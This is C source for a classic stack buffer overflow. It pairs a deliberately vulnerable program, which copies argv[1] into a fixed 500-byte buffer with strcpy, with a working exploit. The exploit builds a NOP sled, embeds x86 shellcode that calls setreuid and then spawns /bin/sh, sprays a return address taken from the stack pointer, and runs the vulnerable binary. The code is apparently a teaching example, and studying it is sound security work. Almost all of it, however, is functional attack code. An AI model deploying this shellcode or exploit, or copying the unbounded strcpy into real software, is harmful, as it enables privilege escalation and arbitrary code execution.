int main(int argc, char *argv[])
{
char buffer[500];
strcpy(buffer, argv[1]);
return 0;
}

#include <stdlib.h>

char shellcode[] =
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"
"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
"\x68";

unsigned long sp(void) // This is just a little function
{ 
	__asm__("movl %esp, %eax");
} // used to return the stack pointer

int main(int argc, char *argv[])
{
	int i, offset;
	long esp, ret, *addr_ptr;
	char *buffer, *ptr;

	offset = 0; // Use an offset of 0
	esp = sp(); // Put the current stack pointer into esp
	ret = esp - offset; // We want to overwrite the ret address

	printf("Stack pointer (ESP) : 0x%x\n", esp);
	printf(" Offset from ESP : 0x%x\n", offset);
	printf("Desired Return Addr : 0x%x\n", ret);

	// Allocate 600 bytes for buffer (on the heap)
	buffer = malloc(600);
	
	// Fill the entire buffer with the desired ret address
	ptr = buffer;
	addr_ptr = (long *) ptr;
	for(i=0; i < 600; i+=4)
	{ *(addr_ptr++) = ret; }
	
	// Fill the first 200 bytes of the buffer with NOP instructions
	for(i=0; i < 200; i++)
	{ buffer[i] = '\x90'; }
	
	// Put the shellcode after the NOP sled
	ptr = buffer + 200;
	for(i=0; i < strlen(shellcode); i++)
	{ *(ptr++) = shellcode[i]; }
	
	// End the string
	buffer[600-1] = 0;
	
	// Now call the program ./vuln with our crafted buffer as its argument
	execl("./vuln", "vuln", buffer, 0);
	
	// Free the buffer memory
	free(buffer);
	return 0;
}

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